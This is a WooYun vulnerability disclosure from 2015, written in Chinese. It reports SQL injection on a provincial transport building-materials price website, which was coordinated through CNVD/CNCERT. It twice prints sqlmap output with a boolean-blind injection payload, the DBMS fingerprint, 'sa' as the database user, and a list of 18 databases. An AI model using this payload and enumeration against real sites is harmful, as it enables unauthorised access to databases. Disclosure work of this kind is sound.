当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163726

漏洞标题:某省交通建材信息网注入一枚sa权限

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-26 02:36

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-26: 细节已通知厂商并且等待厂商处理中
2015-12-30: 厂商已经确认,细节仅向厂商公开
2016-01-09: 细节向核心白帽子及相关领域专家公开
2016-01-19: 细节向普通白帽子公开
2016-01-29: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

某省交通建材信息网注入一枚sa权限

详细说明:

注入点:**.**.**.**:8101/PriceList.aspx?y=2015&m=9&c=1300060000
http://**.**.**.**/PriceList.aspx?y=2015&m=9&c=1300060000

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: **.**.**.**:8101/PriceList.aspx?y=2015&m=9&c=1300060000' A
ND 2046=2046 AND 'GIiP'='GIiP
---
[23:19:11] [INFO] testing MySQL
[23:19:14] [WARNING] the back-end DBMS is not MySQL
[23:19:14] [INFO] testing Oracle
[23:19:16] [WARNING] the back-end DBMS is not Oracle
[23:19:16] [INFO] testing PostgreSQL
[23:19:19] [WARNING] the back-end DBMS is not PostgreSQL
[23:19:19] [INFO] testing Microsoft SQL Server
[23:19:23] [INFO] confirming Microsoft SQL Server
[23:19:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[23:19:35] [INFO] fetching current user
[23:19:35] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:19:35] [INFO] retrieved: sa
current user: 'sa'


available databases [18]:
[*] ASPState
[*] Dealer
[*] dnt35
[*] EduTrain
[*] hbprice
[*] hnprice
[*] LocalTrafficCost
[*] master
[*] model
[*] msdb
[*] oldzjjw
[*] sxprice
[*] sxsjtzjxxw
[*] tempdb
[*] TrafficCost
[*] TrafficCost_Fixed
[*] TrafficCost_Log
[*] zjjw


1.png

2.png


3.png

漏洞证明:

注入点:**.**.**.**:8101/PriceList.aspx?y=2015&m=9&c=1300060000
http://**.**.**.**/PriceList.aspx?y=2015&m=9&c=1300060000

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: **.**.**.**:8101/PriceList.aspx?y=2015&m=9&c=1300060000' A
ND 2046=2046 AND 'GIiP'='GIiP
---
[23:19:11] [INFO] testing MySQL
[23:19:14] [WARNING] the back-end DBMS is not MySQL
[23:19:14] [INFO] testing Oracle
[23:19:16] [WARNING] the back-end DBMS is not Oracle
[23:19:16] [INFO] testing PostgreSQL
[23:19:19] [WARNING] the back-end DBMS is not PostgreSQL
[23:19:19] [INFO] testing Microsoft SQL Server
[23:19:23] [INFO] confirming Microsoft SQL Server
[23:19:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[23:19:35] [INFO] fetching current user
[23:19:35] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:19:35] [INFO] retrieved: sa
current user: 'sa'


available databases [18]:
[*] ASPState
[*] Dealer
[*] dnt35
[*] EduTrain
[*] hbprice
[*] hnprice
[*] LocalTrafficCost
[*] master
[*] model
[*] msdb
[*] oldzjjw
[*] sxprice
[*] sxsjtzjxxw
[*] tempdb
[*] TrafficCost
[*] TrafficCost_Fixed
[*] TrafficCost_Log
[*] zjjw


1.png

2.png


3.png

修复方案:

跑的太慢了,就不继续跑了。确定有注入

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-30 11:30

厂商回复:

CNVD确认所述漏洞情况,已经转由CNCERT下发湖南分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价